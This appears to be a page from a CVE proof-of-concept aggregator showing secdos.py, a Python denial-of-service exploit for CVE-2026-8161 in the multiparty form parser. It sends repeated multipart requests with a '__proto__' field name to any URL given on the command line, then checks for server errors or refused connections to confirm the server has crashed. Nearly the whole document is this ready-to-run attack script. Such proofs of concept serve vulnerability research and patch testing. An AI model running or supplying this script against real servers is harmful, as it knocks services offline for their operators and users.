5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / secdos.py PY
'''
POC: Multiparty CVE-2026-8161 for mocklab
Seron Athavan
'''

import requests
from urllib.parse import urlparse
import argparse

BOUNDARY = '----WebKitFormBoundaryoFXWxynGz2jDt5Im'

class payload:

    web_url = None
    headers = {
        'Host': 'localhost',
        'Cache-Control': 'no-cache',
        'X-Requested-With': 'XMLHttpRequest',
        'Content-Type': f'multipart/form-data; boundary={BOUNDARY}',
        'Connection': 'close',
    }

    data = (
        f'--{BOUNDARY}\r\n'
        f'Content-Disposition: form-data; name="__proto__"\r\n'
        f'\r\n'
        f'mrrp meowd\r\n'
        f'--{BOUNDARY}--\r\n'
    ).encode()

    def set_host(self, web_url):
        host = urlparse(web_url)
        host = host.hostname
        assert(host != None or len(host) == 0)
        self.headers["Host"] = host


############################################################################
########################## Code Goes Here ##################################
############################################################################

def polluted(config: dict) -> bool:
    '''
    Checks if the payload crashed the server.
    In multiparty <= 4.2.3, using __proto__ as a field name causes truthy confusion
    Object.prototype, causing a TypeError crash on the next field emit.

    A 5xx response or connection error indicates the server is down.

    Ref: https://nvd.nist.gov/vuln/detail/CVE-2026-8161
    '''
    web_url = config["web_url"]
    try:
        response = requests.get(web_url, timeout=5)
        if response.status_code in range(500, 600):
            return True
    except requests.exceptions.ConnectionError:
        return True  # server crashed, connection refused
    return False


def takedown(config: dict) -> bool:
    '''
    Based on CVE-2026-8161
    https://github.com/pillarjs/multiparty/issues/...

    Sends a multipart/form-data request with __proto__ as the field name.
    In multiparty <= 4.2.3 this causes collision with inherited properties.
    '''
    web_url = config["web_url"]
    replica = config["replica"]

    atk = payload()
    atk.set_host(web_url)

    for dyno in range(replica):
        print(f"Sending request #{dyno}")
        response = requests.post(web_url, headers=atk.headers, data=atk.data, verify=False)
        print("status code:", response.status_code)

    took_down = polluted(config)
    return took_down

  
#===================================================#
#==================== DRIVERS ======================#
#===================================================#

config = {
    "web_url": None,
    "replica": None
}

if __name__ == "__main__":
   
   parser = argparse.ArgumentParser()
   parser.add_argument("-u", '--url', help="The form url to perform attack", default=None)
   parser.add_argument("-r", '--replica', help="Number of requests to send [Default = 1]", default=1, type=int)
   args = parser.parse_args()
   args = args.__dict__

   url = args.get("url")
   replica = args.get("replica")

   if(url == None): parser.error("form submission url is required.")
   if(replica is None or replica < 1): parser.error("Need atleast 1 replica")

   config = {
       "web_url": url,
       "replica": replica,
   }

   took_down = takedown(config)
   
   msg = [
        "Payload rejected or server patched. [FAIL]",
        "Collision payload accepted. [PASS]"
    ][took_down]
   
   print(msg)
   
   exit(0 if took_down else -1)